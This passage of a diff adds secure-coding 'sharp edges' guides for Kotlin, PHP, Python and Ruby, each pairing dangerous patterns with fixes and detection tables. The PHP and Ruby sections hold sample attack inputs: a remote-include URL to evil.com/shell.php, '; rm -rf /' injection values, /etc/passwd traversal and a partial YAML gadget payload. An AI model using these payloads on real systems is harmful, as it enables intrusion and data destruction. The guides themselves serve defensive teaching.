|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Accessing before initialization
|
||||
class MyClass {
|
||||
lateinit var config: Config
|
||||
|
||||
fun process() {
|
||||
config.value // UninitializedPropertyAccessException if not set
|
||||
}
|
||||
}
|
||||
|
||||
// Can check with ::property.isInitialized but often forgotten
|
||||
if (::config.isInitialized) {
|
||||
config.value
|
||||
}
|
||||
```
|
||||
|
||||
**Better alternatives**:
|
||||
```kotlin
|
||||
// Lazy initialization
|
||||
val config: Config by lazy { loadConfig() }
|
||||
|
||||
// Nullable with check
|
||||
var config: Config? = null
|
||||
fun process() {
|
||||
val c = config ?: throw IllegalStateException("Not configured")
|
||||
}
|
||||
```
|
||||
|
||||
## Data Class Copy Pitfalls
|
||||
|
||||
```kotlin
|
||||
data class User(val name: String, val role: Role)
|
||||
|
||||
// DANGEROUS: copy() can bypass immutability intentions
|
||||
val admin = User("Alice", Role.ADMIN)
|
||||
val notAdmin = admin.copy(role = Role.USER) // Fine
|
||||
|
||||
// But if User validates in constructor:
|
||||
data class User(val name: String, val role: Role) {
|
||||
init {
|
||||
require(name.isNotBlank()) { "Name required" }
|
||||
}
|
||||
}
|
||||
|
||||
// copy() BYPASSES the init block in some scenarios
|
||||
// Validation may not run on copy
|
||||
```
|
||||
|
||||
## Companion Object Initialization
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Companion objects initialize lazily on first access
|
||||
class MyClass {
|
||||
companion object {
|
||||
val config = loadConfig() // When does this run?
|
||||
}
|
||||
}
|
||||
|
||||
// First access triggers initialization
|
||||
// Can cause unexpected delays or errors at runtime
|
||||
// Order of initialization across classes is complex
|
||||
```
|
||||
|
||||
## Coroutine Cancellation
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Not checking for cancellation
|
||||
suspend fun longOperation() {
|
||||
while (true) {
|
||||
heavyComputation() // Doesn't check cancellation
|
||||
}
|
||||
}
|
||||
|
||||
// Cancel won't stop this coroutine!
|
||||
val job = launch { longOperation() }
|
||||
job.cancel() // Coroutine keeps running
|
||||
|
||||
// DANGEROUS: Swallowing CancellationException
|
||||
suspend fun wrapped() {
|
||||
try {
|
||||
suspendingFunction()
|
||||
} catch (e: Exception) {
|
||||
// CancellationException caught! Breaks cancellation
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Check for cancellation and rethrow CancellationException:
|
||||
```kotlin
|
||||
suspend fun longOperation() {
|
||||
while (true) {
|
||||
ensureActive() // or yield()
|
||||
heavyComputation()
|
||||
}
|
||||
}
|
||||
|
||||
catch (e: Exception) {
|
||||
if (e is CancellationException) throw e
|
||||
// handle other exceptions
|
||||
}
|
||||
```
|
||||
|
||||
## Inline Class Boxing
|
||||
|
||||
```kotlin
|
||||
@JvmInline
|
||||
value class UserId(val id: Int)
|
||||
|
||||
// DANGEROUS: Boxing occurs in certain contexts
|
||||
fun process(id: UserId?) { } // Nullable = boxed
|
||||
fun process(id: Any) { } // Any = boxed
|
||||
val list: List<UserId> // Generic = boxed
|
||||
|
||||
// Performance benefit lost, but worse:
|
||||
// Two "equal" values may not be identical
|
||||
```
|
||||
|
||||
## Scope Functions Confusion
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Wrong scope function leads to bugs
|
||||
val user = User()
|
||||
user.also {
|
||||
it.name = "Alice"
|
||||
}.let {
|
||||
return it.name // 'it' is the user, 'this' is outer scope
|
||||
}
|
||||
|
||||
// Easy to confuse:
|
||||
// let: it = receiver, returns lambda result
|
||||
// also: it = receiver, returns receiver
|
||||
// apply: this = receiver, returns receiver
|
||||
// run: this = receiver, returns lambda result
|
||||
// with: this = receiver, returns lambda result
|
||||
```
|
||||
|
||||
## Delegation Pitfalls
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Property delegation evaluated lazily
|
||||
class Config {
|
||||
val setting by lazy { loadExpensiveSetting() }
|
||||
}
|
||||
|
||||
// Thread safety depends on lazy mode:
|
||||
by lazy { } // Synchronized (safe but slow)
|
||||
by lazy(LazyThreadSafetyMode.NONE) { } // Not safe!
|
||||
by lazy(LazyThreadSafetyMode.PUBLICATION) { } // Safe but may compute multiple times
|
||||
```
|
||||
|
||||
## Reified Type Erasure
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Inline + reified still has limits
|
||||
inline fun <reified T> parse(json: String): T {
|
||||
return gson.fromJson(json, T::class.java)
|
||||
}
|
||||
|
||||
// Works for simple types, but:
|
||||
parse<List<String>>(json) // T::class.java is just List, not List<String>
|
||||
// Generic type arguments still erased
|
||||
```
|
||||
|
||||
## Sequence vs Iterable
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Sequences are lazy, Iterables are eager
|
||||
val list = listOf(1, 2, 3)
|
||||
|
||||
// Eager - filter runs on all elements immediately
|
||||
list.filter { println("filter $it"); it > 1 }
|
||||
.map { println("map $it"); it * 2 }
|
||||
.first()
|
||||
// Prints: filter 1, filter 2, filter 3, map 2, map 3
|
||||
|
||||
// Lazy - only processes needed elements
|
||||
list.asSequence()
|
||||
.filter { println("filter $it"); it > 1 }
|
||||
.map { println("map $it"); it * 2 }
|
||||
.first()
|
||||
// Prints: filter 1, filter 2, map 2
|
||||
```
|
||||
|
||||
But sequences can also surprise:
|
||||
```kotlin
|
||||
// DANGEROUS: Sequence operations return new sequences, not results
|
||||
val seq = listOf(1, 2, 3).asSequence()
|
||||
.filter { it > 1 }
|
||||
.map { it * 2 }
|
||||
// Nothing executed yet! Must terminate with toList(), first(), etc.
|
||||
```
|
||||
|
||||
## Extension Function Shadowing
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Extension functions can shadow members
|
||||
class MyClass {
|
||||
fun process() = "member"
|
||||
}
|
||||
|
||||
fun MyClass.process() = "extension" // Never called!
|
||||
|
||||
val obj = MyClass()
|
||||
obj.process() // "member" - members always win
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| Java interop without explicit nullability | Platform type NPE |
|
||||
| `!!` assertion | Null pointer exception |
|
||||
| `lateinit` without isInitialized check | Uninitialized access |
|
||||
| `data class` with validation in init | copy() bypasses validation |
|
||||
| `suspend fun` without ensureActive/yield | Can't cancel |
|
||||
| `catch (e: Exception)` in coroutines | Swallows cancellation |
|
||||
| `@JvmInline` with nullable/generic | Unexpected boxing |
|
||||
| `by lazy(LazyThreadSafetyMode.NONE)` | Thread safety |
|
||||
| `asSequence()` without terminal op | Nothing executes |
|
||||
| Extension function same name as member | Extension never called |
|
||||
@@ -0,0 +1,245 @@
|
||||
# PHP Sharp Edges
|
||||
|
||||
## Type Juggling
|
||||
|
||||
```php
|
||||
// DANGEROUS: Loose comparison (==) does type coercion
|
||||
"0e123" == "0e456" // TRUE - both parsed as 0 (scientific notation)
|
||||
"0" == false // TRUE
|
||||
"" == false // TRUE
|
||||
"" == 0 // TRUE (in PHP < 8)
|
||||
[] == false // TRUE
|
||||
null == false // TRUE
|
||||
|
||||
// Magic hash vulnerability
|
||||
md5("240610708") = "0e462097431906509019562988736854"
|
||||
md5("QNKCDZO") = "0e830400451993494058024219903391"
|
||||
md5("240610708") == md5("QNKCDZO") // TRUE!
|
||||
|
||||
// Both start with "0e" followed by digits = parsed as 0.0
|
||||
```
|
||||
|
||||
**Fix**: Use strict comparison `===`:
|
||||
```php
|
||||
"0e123" === "0e456" // FALSE
|
||||
$hash1 === $hash2 // Compares actual strings
|
||||
```
|
||||
|
||||
## strcmp Returns NULL on Error
|
||||
|
||||
```php
|
||||
// DANGEROUS: strcmp type confusion
|
||||
if (strcmp($_POST['password'], $stored_password) == 0) {
|
||||
authenticate();
|
||||
}
|
||||
|
||||
// Attacker sends: password[]=anything (array instead of string)
|
||||
strcmp(array(), "password") // Returns NULL, not -1 or 1
|
||||
|
||||
// NULL == 0 is TRUE in PHP!
|
||||
// Authentication bypassed!
|
||||
```
|
||||
|
||||
**Fix**: Validate input type and use `===`:
|
||||
```php
|
||||
if (is_string($_POST['password']) &&
|
||||
strcmp($_POST['password'], $stored_password) === 0) {
|
||||
authenticate();
|
||||
}
|
||||
```
|
||||
|
||||
## Variable Variables and Extract
|
||||
|
||||
```php
|
||||
// DANGEROUS: Variable variables
|
||||
$name = $_GET['name']; // "isAdmin"
|
||||
$$name = $_GET['value']; // "true"
|
||||
// Creates $isAdmin = "true"
|
||||
|
||||
// DANGEROUS: extract() creates variables from array
|
||||
extract($_POST); // Every POST param becomes a variable!
|
||||
// Attacker sends POST: isAdmin=true → $isAdmin = true
|
||||
|
||||
// Can overwrite existing variables:
|
||||
$isAdmin = false;
|
||||
extract($_POST); // Attacker overwrites $isAdmin
|
||||
```
|
||||
|
||||
**Fix**: Never use `extract()` with user input. Use explicit assignment.
|
||||
|
||||
## Unserialize RCE
|
||||
|
||||
```php
|
||||
// DANGEROUS: Like pickle, instantiates arbitrary objects
|
||||
$obj = unserialize($_GET['data']);
|
||||
|
||||
// Attacker crafts serialized data that:
|
||||
// 1. Instantiates class with dangerous __wakeup() or __destruct()
|
||||
// 2. Chains through multiple classes ("POP gadgets")
|
||||
// 3. Achieves code execution
|
||||
|
||||
// Common gadget chains in:
|
||||
// - Laravel, Symfony, WordPress, Magento
|
||||
// - phpggc tool generates payloads automatically
|
||||
```
|
||||
|
||||
**Fix**: Never unserialize untrusted data. Use JSON instead.
|
||||
If you must, use `allowed_classes` parameter (PHP 7.0+):
|
||||
```php
|
||||
unserialize($data, ['allowed_classes' => false]);
|
||||
unserialize($data, ['allowed_classes' => ['SafeClass']]);
|
||||
```
|
||||
|
||||
## preg_replace with /e Modifier
|
||||
|
||||
```php
|
||||
// DANGEROUS: /e modifier executes replacement as PHP code
|
||||
// Removed in PHP 7.0, but legacy code still exists
|
||||
preg_replace('/.*/e', $_GET['code'], '');
|
||||
// Executes arbitrary PHP code!
|
||||
|
||||
// Even without /e, user-controlled patterns are dangerous:
|
||||
preg_replace($_GET['pattern'], $replacement, $subject);
|
||||
// Attacker can add /e modifier in pattern
|
||||
```
|
||||
|
||||
**Fix**: Use `preg_replace_callback()` instead of /e.
|
||||
|
||||
## include/require with User Input
|
||||
|
||||
```php
|
||||
// DANGEROUS: Local File Inclusion
|
||||
include($_GET['page'] . '.php');
|
||||
|
||||
// Attacker: ?page=../../../etc/passwd%00
|
||||
// (null byte truncates .php in old PHP)
|
||||
|
||||
// Attacker: ?page=php://filter/convert.base64-encode/resource=config
|
||||
// Reads and encodes config.php
|
||||
|
||||
// DANGEROUS: Remote File Inclusion (if allow_url_include=On)
|
||||
include($_GET['url']);
|
||||
// Attacker: ?url=http://evil.com/shell.php
|
||||
```
|
||||
|
||||
**Fix**: Whitelist allowed files, never use user input in include.
|
||||
|
||||
## == vs === with Objects
|
||||
|
||||
```php
|
||||
// DANGEROUS: == compares values, === compares identity
|
||||
$a = new stdClass();
|
||||
$a->value = 1;
|
||||
|
||||
$b = new stdClass();
|
||||
$b->value = 1;
|
||||
|
||||
$a == $b; // TRUE - same property values
|
||||
$a === $b; // FALSE - different objects
|
||||
|
||||
// This can bypass checks:
|
||||
if ($user == $admin) { // Compares properties, not identity!
|
||||
grantAccess();
|
||||
}
|
||||
```
|
||||
|
||||
## Floating Point in Equality
|
||||
|
||||
```php
|
||||
// DANGEROUS: Float comparison
|
||||
0.1 + 0.2 == 0.3 // FALSE!
|
||||
// Actually: 0.30000000000000004
|
||||
|
||||
// DANGEROUS: Float to int conversion
|
||||
(int)"1e2" // 1 (not 100!)
|
||||
(int)1e2 // 100
|
||||
|
||||
// In array keys:
|
||||
$arr[(int)"1e2"] = "a"; // $arr[1]
|
||||
$arr[(int)1e2] = "b"; // $arr[100]
|
||||
```
|
||||
|
||||
## Shell Command Injection
|
||||
|
||||
```php
|
||||
// DANGEROUS: Unescaped shell commands
|
||||
system("ls " . $_GET['dir']);
|
||||
exec("grep " . $_GET['pattern'] . " file.txt");
|
||||
passthru("convert " . $_FILES['image']['name']);
|
||||
|
||||
// Attacker: ?dir=; rm -rf /
|
||||
```
|
||||
|
||||
**Fix**: Use `escapeshellarg()` and `escapeshellcmd()`:
|
||||
```php
|
||||
system("ls " . escapeshellarg($_GET['dir']));
|
||||
```
|
||||
|
||||
Better: Avoid shell commands entirely, use PHP functions.
|
||||
|
||||
## Array Key Coercion
|
||||
|
||||
```php
|
||||
// DANGEROUS: Array keys are coerced
|
||||
$arr = [];
|
||||
$arr["0"] = "a";
|
||||
$arr[0] = "b";
|
||||
$arr["00"] = "c";
|
||||
|
||||
// Result: $arr = [0 => "b", "00" => "c"]
|
||||
// String "0" was coerced to integer 0!
|
||||
|
||||
$arr[true] = "x"; // $arr[1] = "x"
|
||||
$arr[false] = "y"; // $arr[0] = "y"
|
||||
$arr[null] = "z"; // $arr[""] = "z"
|
||||
```
|
||||
|
||||
## Null Coalescing Pitfalls
|
||||
|
||||
```php
|
||||
// ?? only checks for null/undefined, NOT falsy
|
||||
$value = $_GET['x'] ?? 'default';
|
||||
|
||||
// If $_GET['x'] is "", 0, "0", false, []
|
||||
// These are NOT null, so no default is used!
|
||||
|
||||
// vs ternary which checks truthiness:
|
||||
$value = $_GET['x'] ?: 'default'; // Uses default for falsy values
|
||||
|
||||
// But ?: triggers notice for undefined variables
|
||||
```
|
||||
|
||||
## Session Fixation
|
||||
|
||||
```php
|
||||
// DANGEROUS: Accepting session ID from user
|
||||
session_id($_GET['session']);
|
||||
session_start();
|
||||
|
||||
// Attacker:
|
||||
// 1. Gets victim to visit: site.com?session=attacker_knows_this
|
||||
// 2. Victim logs in
|
||||
// 3. Attacker uses same session ID to hijack session
|
||||
```
|
||||
|
||||
**Fix**: Regenerate session ID after authentication:
|
||||
```php
|
||||
session_start();
|
||||
// ... authenticate user ...
|
||||
session_regenerate_id(true); // true deletes old session
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `== ` comparison with user input | Type juggling |
|
||||
| `strcmp($user_input, ...)` | NULL comparison bypass |
|
||||
| `$$var` or `extract($_` | Variable injection |
|
||||
| `unserialize($user_input)` | Object injection RCE |
|
||||
| `preg_replace('/e'` | Code execution |
|
||||
| `include($user_input)` | File inclusion |
|
||||
| `system/exec/passthru($user_input)` | Command injection |
|
||||
| `"0e\d+" == "0e\d+"` | Magic hash comparison |
|
||||
| `session_id($_GET` | Session fixation |
|
||||
| Missing `===` for security checks | Type confusion bypass |
|
||||
@@ -0,0 +1,274 @@
|
||||
# Python Sharp Edges
|
||||
|
||||
## Mutable Default Arguments
|
||||
|
||||
```python
|
||||
# DANGEROUS: Default is shared across all calls
|
||||
def append_to(item, target=[]):
|
||||
target.append(item)
|
||||
return target
|
||||
|
||||
append_to(1) # [1]
|
||||
append_to(2) # [1, 2] - same list!
|
||||
append_to(3) # [1, 2, 3]
|
||||
|
||||
# Also affects dicts and other mutables
|
||||
def register(name, registry={}):
|
||||
registry[name] = True
|
||||
return registry
|
||||
```
|
||||
|
||||
**The Problem**: Default arguments are evaluated once at function definition, not at each call.
|
||||
|
||||
**Fix**: Use `None` sentinel:
|
||||
```python
|
||||
def append_to(item, target=None):
|
||||
if target is None:
|
||||
target = []
|
||||
target.append(item)
|
||||
return target
|
||||
```
|
||||
|
||||
## Eval, Exec, and Code Execution
|
||||
|
||||
```python
|
||||
# DANGEROUS: Arbitrary code execution
|
||||
eval(user_input) # Executes Python expression
|
||||
exec(user_input) # Executes Python statements
|
||||
|
||||
# DANGEROUS: compile + exec
|
||||
code = compile(user_input, '<string>', 'exec')
|
||||
exec(code)
|
||||
|
||||
# DANGEROUS: input() in Python 2
|
||||
# In Python 2: input() == eval(raw_input())
|
||||
# Python 2 code taking input() from users = RCE
|
||||
|
||||
# DANGEROUS: Dynamic import
|
||||
__import__(user_input)
|
||||
importlib.import_module(user_input)
|
||||
```
|
||||
|
||||
**Also Dangerous**:
|
||||
- `pickle.loads()` - arbitrary code execution
|
||||
- `yaml.load()` - arbitrary code execution (use `safe_load`)
|
||||
- `subprocess.Popen(shell=True)` with user input
|
||||
|
||||
## Late Binding Closures
|
||||
|
||||
```python
|
||||
# DANGEROUS: Closures capture variable by reference, not value
|
||||
funcs = []
|
||||
for i in range(3):
|
||||
funcs.append(lambda: i)
|
||||
|
||||
[f() for f in funcs] # [2, 2, 2] - all see final i
|
||||
|
||||
# Same with list comprehension
|
||||
funcs = [lambda: i for i in range(3)]
|
||||
[f() for f in funcs] # [2, 2, 2]
|
||||
```
|
||||
|
||||
**Fix**: Capture by value using default argument:
|
||||
```python
|
||||
funcs = []
|
||||
for i in range(3):
|
||||
funcs.append(lambda i=i: i) # i=i captures current value
|
||||
|
||||
[f() for f in funcs] # [0, 1, 2]
|
||||
```
|
||||
|
||||
## Identity vs Equality
|
||||
|
||||
```python
|
||||
# DANGEROUS: 'is' checks identity, not equality
|
||||
a = 256
|
||||
b = 256
|
||||
a is b # True - CPython caches small integers [-5, 256]
|
||||
|
||||
a = 257
|
||||
b = 257
|
||||
a is b # False - different objects!
|
||||
|
||||
# String interning is also unpredictable
|
||||
s1 = "hello"
|
||||
s2 = "hello"
|
||||
s1 is s2 # True - interned
|
||||
|
||||
s1 = "hello world"
|
||||
s2 = "hello world"
|
||||
s1 is s2 # Maybe - depends on context
|
||||
|
||||
# DANGEROUS in conditionals
|
||||
if x is True: # Wrong - use: if x is True (for singletons only)
|
||||
if x is 1: # Wrong - use: if x == 1
|
||||
```
|
||||
|
||||
**Rule**: Use `is` only for `None`, `True`, `False`, and explicit singleton checks.
|
||||
|
||||
## Import Shadowing
|
||||
|
||||
```python
|
||||
# DANGEROUS: Naming your file same as stdlib module
|
||||
# File: random.py
|
||||
import random
|
||||
print(random.randint(1, 10)) # ImportError or recursion!
|
||||
|
||||
# Your random.py shadows the stdlib random module
|
||||
|
||||
# Similarly dangerous names:
|
||||
# - email.py (shadows email module)
|
||||
# - test.py (shadows test framework)
|
||||
# - types.py (shadows types module)
|
||||
```
|
||||
|
||||
## Exception Handling Pitfalls
|
||||
|
||||
```python
|
||||
# DANGEROUS: Bare except catches everything
|
||||
try:
|
||||
risky_operation()
|
||||
except: # Catches KeyboardInterrupt, SystemExit, etc.
|
||||
pass
|
||||
|
||||
# DANGEROUS: Catching Exception still misses some
|
||||
try:
|
||||
risky_operation()
|
||||
except Exception: # Misses KeyboardInterrupt, SystemExit
|
||||
pass
|
||||
|
||||
# DANGEROUS: Silently swallowing
|
||||
try:
|
||||
important_security_check()
|
||||
except SomeError:
|
||||
pass # Security check failure ignored!
|
||||
|
||||
# DANGEROUS: Exception in except block
|
||||
try:
|
||||
operation()
|
||||
except SomeError as e:
|
||||
log(e) # If log() raises, original exception lost
|
||||
raise
|
||||
```
|
||||
|
||||
## Name Rebinding in Loops
|
||||
|
||||
```python
|
||||
# DANGEROUS: Reusing loop variable
|
||||
for item in items:
|
||||
process(item)
|
||||
|
||||
# Later in same scope:
|
||||
print(item) # Still bound to last item!
|
||||
|
||||
# DANGEROUS with exceptions
|
||||
for item in items:
|
||||
try:
|
||||
process(item)
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
# In Python 3, 'e' is deleted after except block
|
||||
# But 'item' persists
|
||||
```
|
||||
|
||||
## Class vs Instance Attributes
|
||||
|
||||
```python
|
||||
# DANGEROUS: Mutable class attribute shared by all instances
|
||||
class User:
|
||||
permissions = [] # Class attribute - shared!
|
||||
|
||||
u1 = User()
|
||||
u2 = User()
|
||||
u1.permissions.append('admin')
|
||||
print(u2.permissions) # ['admin'] - u2 is also admin!
|
||||
```
|
||||
|
||||
**Fix**: Initialize in `__init__`:
|
||||
```python
|
||||
class User:
|
||||
def __init__(self):
|
||||
self.permissions = [] # Instance attribute - unique
|
||||
```
|
||||
|
||||
## String Formatting Injection
|
||||
|
||||
```python
|
||||
# DANGEROUS: Format string with user data as format spec
|
||||
template = user_input # "{0.__class__.__mro__[1].__subclasses__()}"
|
||||
template.format(some_object) # Can access arbitrary attributes!
|
||||
|
||||
# DANGEROUS: f-string with user input (if using eval)
|
||||
eval(f'f"{user_input}"') # Code execution
|
||||
|
||||
# DANGEROUS: % formatting with user-controlled format
|
||||
user_template % (data,) # Less dangerous but still risky
|
||||
```
|
||||
|
||||
**Fix**: Use string concatenation or safe templating (Jinja2 with autoescape).
|
||||
|
||||
## Numeric Precision
|
||||
|
||||
```python
|
||||
# DANGEROUS: Float comparison
|
||||
0.1 + 0.2 == 0.3 # False!
|
||||
# 0.1 + 0.2 = 0.30000000000000004
|
||||
|
||||
# DANGEROUS: Large integer to float
|
||||
n = 10**20
|
||||
float(n) == float(n + 1) # True - precision loss
|
||||
|
||||
# DANGEROUS: Division in Python 2
|
||||
# 5 / 2 = 2 (integer division in Python 2)
|
||||
# 5 / 2 = 2.5 (float division in Python 3)
|
||||
```
|
||||
|
||||
## Unpacking Pitfalls
|
||||
|
||||
```python
|
||||
# DANGEROUS: Unpacking user-controlled data
|
||||
a, b, c = user_list # ValueError if wrong length
|
||||
|
||||
# Can be used for DoS:
|
||||
# Send list with 10 million elements to function expecting 3
|
||||
# Python will iterate entire list before raising ValueError
|
||||
```
|
||||
|
||||
## Subprocess Shell Injection
|
||||
|
||||
```python
|
||||
# DANGEROUS: shell=True with user input
|
||||
import subprocess
|
||||
subprocess.run(f"ls {user_input}", shell=True)
|
||||
# user_input = "; rm -rf /" → command injection
|
||||
|
||||
# SAFE: Use list form without shell
|
||||
subprocess.run(["ls", user_input]) # user_input is just an argument
|
||||
```
|
||||
|
||||
## Attribute Access on None
|
||||
|
||||
```python
|
||||
# DANGEROUS: Chained access without checks
|
||||
result = api.get_user().profile.settings.theme
|
||||
# Any None in chain causes AttributeError
|
||||
|
||||
# Python doesn't have optional chaining like JS (?.)
|
||||
# Must check each step or use getattr with default
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `def f(x=[])` or `def f(x={})` | Mutable default argument |
|
||||
| `eval(`, `exec(`, `compile(` | Code execution |
|
||||
| `pickle.loads(`, `yaml.load(` | Deserialization RCE |
|
||||
| `lambda: var` in loop | Late binding closure |
|
||||
| `x is 1`, `x is "string"` | Identity vs equality confusion |
|
||||
| `import x` where x.py exists locally | Import shadowing |
|
||||
| `except:` or `except Exception:` | Over-broad exception catching |
|
||||
| `class Foo: bar = []` | Shared mutable class attribute |
|
||||
| `template.format(obj)` with user template | Format string injection |
|
||||
| `subprocess.*(..., shell=True)` | Command injection |
|
||||
@@ -0,0 +1,273 @@
|
||||
# Ruby Sharp Edges
|
||||
|
||||
## Dynamic Code Execution
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: eval executes arbitrary code
|
||||
eval(user_input)
|
||||
|
||||
# DANGEROUS: send calls arbitrary method
|
||||
object.send(user_input, *args)
|
||||
object.public_send(user_input) # Only public, still dangerous
|
||||
|
||||
# DANGEROUS: constantize gets arbitrary class
|
||||
user_input.constantize # Rails
|
||||
Object.const_get(user_input)
|
||||
|
||||
# DANGEROUS: instance_variable_get/set
|
||||
obj.instance_variable_set("@#{user_input}", value)
|
||||
```
|
||||
|
||||
**Real Vulnerabilities**:
|
||||
- CVE-2013-0156: Rails XML parameter parsing led to code execution
|
||||
- Countless Rails apps vulnerable to controller#action injection
|
||||
|
||||
**Fix**: Whitelist allowed values:
|
||||
```ruby
|
||||
ALLOWED_METHODS = %w[create update delete].freeze
|
||||
raise unless ALLOWED_METHODS.include?(user_input)
|
||||
object.send(user_input)
|
||||
```
|
||||
|
||||
## YAML.load RCE
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Like pickle, instantiates arbitrary objects
|
||||
YAML.load(user_input)
|
||||
|
||||
# Attacker payload:
|
||||
# --- !ruby/object:Gem::Installer
|
||||
# i: x
|
||||
# --- !ruby/object:Gem::SpecFetcher
|
||||
# i: y
|
||||
# --- !ruby/object:Gem::Requirement
|
||||
# requirements:
|
||||
# !ruby/object:Gem::Package::TarReader
|
||||
# io: &1 !ruby/object:Net::BufferedIO
|
||||
# ...
|
||||
|
||||
# Chains through multiple classes to achieve RCE
|
||||
```
|
||||
|
||||
**Fix**: Use `YAML.safe_load`:
|
||||
```ruby
|
||||
YAML.safe_load(user_input)
|
||||
YAML.safe_load(user_input, permitted_classes: [Date, Time])
|
||||
```
|
||||
|
||||
## Mass Assignment
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: All params assigned to model (Rails < 4)
|
||||
User.new(params[:user])
|
||||
# If params includes {admin: true, role: "superuser"}...
|
||||
|
||||
# Also dangerous with update_attributes
|
||||
user.update_attributes(params[:user])
|
||||
```
|
||||
|
||||
**Fix**: Strong Parameters (Rails 4+):
|
||||
```ruby
|
||||
def user_params
|
||||
params.require(:user).permit(:name, :email) # Allowlist
|
||||
end
|
||||
|
||||
User.new(user_params)
|
||||
```
|
||||
|
||||
## SQL Injection
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: String interpolation in queries
|
||||
User.where("name = '#{params[:name]}'")
|
||||
User.where("name = '" + params[:name] + "'")
|
||||
|
||||
# DANGEROUS: Array form with interpolation
|
||||
User.where(["name = ?", params[:name]]) # Safe
|
||||
User.where(["name = #{params[:name]}"]) # NOT safe!
|
||||
|
||||
# DANGEROUS: order() with user input
|
||||
User.order(params[:sort]) # Can inject: "name; DROP TABLE users--"
|
||||
```
|
||||
|
||||
**Fix**: Use parameterized queries:
|
||||
```ruby
|
||||
User.where(name: params[:name])
|
||||
User.where("name = ?", params[:name])
|
||||
User.order(Arel.sql(sanitize(params[:sort]))) # With validation
|
||||
```
|
||||
|
||||
## Command Injection
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Backticks and system with interpolation
|
||||
`ls #{params[:dir]}`
|
||||
system("ls #{params[:dir]}")
|
||||
exec("ls #{params[:dir]}")
|
||||
%x(ls #{params[:dir]})
|
||||
|
||||
# Attacker: dir="; rm -rf /"
|
||||
```
|
||||
|
||||
**Fix**: Use array form:
|
||||
```ruby
|
||||
system("ls", params[:dir]) # Argument passed safely
|
||||
Open3.capture3("ls", params[:dir])
|
||||
```
|
||||
|
||||
## Regex Injection
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: User input in regex
|
||||
pattern = Regexp.new(params[:pattern])
|
||||
string.match(pattern)
|
||||
|
||||
# ReDoS attack: pattern = "(a+)+"
|
||||
# Denial of service
|
||||
|
||||
# Also: Anchors don't work as expected
|
||||
/^admin$/.match("admin\nuser") # Matches! ^ and $ match line boundaries
|
||||
```
|
||||
|
||||
**Fix**: Use `\A` and `\z` for string boundaries:
|
||||
```ruby
|
||||
/\Aadmin\z/ # Only matches exactly "admin"
|
||||
Regexp.escape(user_input) # Escape special characters
|
||||
```
|
||||
|
||||
## Symbol DoS (Ruby < 2.2)
|
||||
|
||||
```ruby
|
||||
# DANGEROUS in Ruby < 2.2: Symbols never garbage collected
|
||||
params[:key].to_sym # Each unique key creates permanent symbol
|
||||
|
||||
# Attacker sends millions of unique parameter names
|
||||
# Memory exhaustion - symbols fill memory
|
||||
```
|
||||
|
||||
**Note**: Fixed in Ruby 2.2+ with symbol GC, but still worth avoiding unnecessary `to_sym` on user input.
|
||||
|
||||
## Method Visibility
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: private/protected don't prevent send()
|
||||
class Secret
|
||||
private
|
||||
def sensitive_data
|
||||
"secret"
|
||||
end
|
||||
end
|
||||
|
||||
obj.send(:sensitive_data) # Works!
|
||||
obj.sensitive_data # NoMethodError (as expected)
|
||||
```
|
||||
|
||||
## Default Mutable Arguments
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Same pattern as Python
|
||||
def add_item(item, list = [])
|
||||
list << item
|
||||
list
|
||||
end
|
||||
|
||||
add_item(1) # [1]
|
||||
add_item(2) # [1, 2] - same array!
|
||||
```
|
||||
|
||||
**Fix**: Use nil default:
|
||||
```ruby
|
||||
def add_item(item, list = nil)
|
||||
list ||= []
|
||||
list << item
|
||||
end
|
||||
```
|
||||
|
||||
## ERB Template Injection
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: User input in ERB template
|
||||
template = ERB.new(params[:template])
|
||||
template.result(binding)
|
||||
|
||||
# Attacker template: <%= `whoami` %>
|
||||
# Executes shell command
|
||||
|
||||
# Also via:
|
||||
template = params[:template]
|
||||
eval("\"#{template}\"") # If template contains #{}
|
||||
```
|
||||
|
||||
## File Operations
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Path traversal
|
||||
File.read("uploads/#{params[:filename]}")
|
||||
# Attacker: filename=../../../etc/passwd
|
||||
|
||||
# DANGEROUS: File.open with pipe
|
||||
File.open("|#{params[:cmd]}") # Executes command!
|
||||
|
||||
# The | prefix runs a command and opens pipe to it
|
||||
File.read("|whoami") # Returns output of whoami
|
||||
```
|
||||
|
||||
**Fix**: Validate and sanitize paths:
|
||||
```ruby
|
||||
path = File.expand_path(params[:filename], uploads_dir)
|
||||
raise unless path.start_with?(uploads_dir)
|
||||
```
|
||||
|
||||
## Comparison Gotchas
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: == vs eql? vs equal?
|
||||
a = "hello"
|
||||
b = "hello"
|
||||
|
||||
a == b # true - value comparison
|
||||
a.eql?(b) # true - value + type comparison
|
||||
a.equal?(b) # false - identity comparison
|
||||
|
||||
# Array comparison
|
||||
[1, 2] == [1, 2] # true
|
||||
[1, 2].eql?([1, 2]) # true
|
||||
[1, 2].equal?([1, 2]) # false
|
||||
```
|
||||
|
||||
## Thread Safety
|
||||
|
||||
```ruby
|
||||
# DANGEROUS: Ruby global interpreter lock (GIL) doesn't protect everything
|
||||
@counter = 0
|
||||
|
||||
threads = 10.times.map do
|
||||
Thread.new { 1000.times { @counter += 1 } }
|
||||
end
